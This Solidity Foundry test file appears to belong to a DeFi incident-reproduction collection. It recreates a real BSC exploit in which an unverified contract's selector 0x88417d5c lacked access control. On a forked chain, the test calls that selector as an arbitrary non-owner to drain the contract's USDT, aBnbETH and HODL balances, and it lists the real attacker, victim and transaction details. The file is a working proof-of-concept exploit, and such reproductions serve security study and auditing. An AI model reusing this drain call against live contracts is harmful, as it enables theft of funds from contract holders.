src/test/2025-05/unverified_0000_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 5,658.46 USD
8// Attacker : 0x1491B276528531AD3F41DbE9B00387ABaC55c114
9// Attack Contract : 0x167d4A1658DD960B2945131Cd90ca4fdf0FAa242
10// Vulnerable Contract : 0x000004A70f92f1b22de1201aF76C48365d5D0000
11// Attack Tx : https://bscscan.com/tx/0x7ca804d016be67c570a10a620b9ae3027fd6b03d0965da3ec78912be067af024
12//
13// @Info
14// Vulnerable Contract Code : unverified
15//
16// @Analysis
17// Twitter Guy : https://t.me/defimon_alerts/1184
18//
19// Attack summary: Any caller can invoke selector 0x88417d5c with token/amount entries, causing the
20// victim to transfer its ERC20 balances to msg.sender.
21// Root cause: missing access control on the token-drain path; owner/storage-owner checks are not
22// applied to selector 0x88417d5c.
23 
24address constant VULNERABLE = 0x000004A70f92f1B22de1201aF76C48365D5D0000;
25address constant DRAIN_USDT = 0x55d398326f99059fF775485246999027B3197955;
26address constant DRAIN_ABNB_ETH = 0x2E94171493fAbE316b6205f1585779C887771E2F;
27address constant DRAIN_HODL = 0x32B407ee915432Be6D3F168bc1EfF2a6F8b2034C;
28bytes4 constant VICTIM_DRAIN_SELECTOR = 0x88417d5c;
29 
30struct TokenAmount {
31    address token;
32    uint256 amount;
33}
34 
35interface IOwnableLike {
36    function owner() external view returns (address);
37}
38 
39contract ContractTest is BaseTestWithBalanceLog {
40    address private arbitraryCaller;
41 
42    function setUp() public {
43        uint256 forkBlock = 50_311_055;
44        vm.createSelectFork("bsc", forkBlock);
45 
46        arbitraryCaller = makeAddr("arbitraryCaller");
47        attacker = arbitraryCaller;
48        multiAssetLog = true;
49        _addFundingToken(DRAIN_USDT);
50        _addFundingToken(DRAIN_ABNB_ETH);
51 
52        vm.label(VULNERABLE, "Unverified Victim");
53        vm.label(arbitraryCaller, "Arbitrary Caller");
54        vm.label(DRAIN_USDT, "USDT");
55        vm.label(DRAIN_ABNB_ETH, "aBnbETH");
56        vm.label(DRAIN_HODL, "HODL");
57    }
58 
59    function testExploit() public balanceLog {
60        uint256 victimUsdtBefore = IERC20(DRAIN_USDT).balanceOf(VULNERABLE);
61        uint256 victimABnbEthBefore = IERC20(DRAIN_ABNB_ETH).balanceOf(VULNERABLE);
62        uint256 victimHodlBefore = IERC20(DRAIN_HODL).balanceOf(VULNERABLE);
63 
64        uint256 attackerUsdtBefore = IERC20(DRAIN_USDT).balanceOf(arbitraryCaller);
65        uint256 attackerABnbEthBefore = IERC20(DRAIN_ABNB_ETH).balanceOf(arbitraryCaller);
66        uint256 attackerHodlBefore = IERC20(DRAIN_HODL).balanceOf(arbitraryCaller);
67 
68        // step 1: prove the drain caller is not the public Ownable owner.
69        assertNotEq(arbitraryCaller, IOwnableLike(VULNERABLE).owner());
70 
71        // step 2: drain the victim-held token balances as an arbitrary non-owner caller.
72        _drainAsArbitraryCaller(DRAIN_USDT);
73        _drainAsArbitraryCaller(DRAIN_ABNB_ETH);
74        _drainAsArbitraryCaller(DRAIN_HODL);
75 
76        // step 3: assert the victim balances were drained and attacker balances increased.
77        assertEq(IERC20(DRAIN_USDT).balanceOf(VULNERABLE), 0);
78        assertEq(IERC20(DRAIN_ABNB_ETH).balanceOf(VULNERABLE), 0);
79        assertEq(IERC20(DRAIN_HODL).balanceOf(VULNERABLE), 0);
80 
81        assertEq(IERC20(DRAIN_USDT).balanceOf(arbitraryCaller) - attackerUsdtBefore, victimUsdtBefore);
82        assertEq(IERC20(DRAIN_ABNB_ETH).balanceOf(arbitraryCaller) - attackerABnbEthBefore, victimABnbEthBefore);
83        assertGt(IERC20(DRAIN_HODL).balanceOf(arbitraryCaller) - attackerHodlBefore, (victimHodlBefore * 9) / 10);
84    }
85 
86    function _drainAsArbitraryCaller(
87        address token
88    ) private {
89        uint256 amount = IERC20(token).balanceOf(VULNERABLE);
90        TokenAmount[] memory entries = new TokenAmount[](1);
91        entries[0] = TokenAmount({token: token, amount: amount});
92 
93        vm.prank(arbitraryCaller);
94        (bool ok,) =
95            VULNERABLE.call(abi.encodeWithSelector(VICTIM_DRAIN_SELECTOR, uint256(0), uint256(0), uint256(0), entries));
96        require(ok, "victim drain call failed");
97    }
98}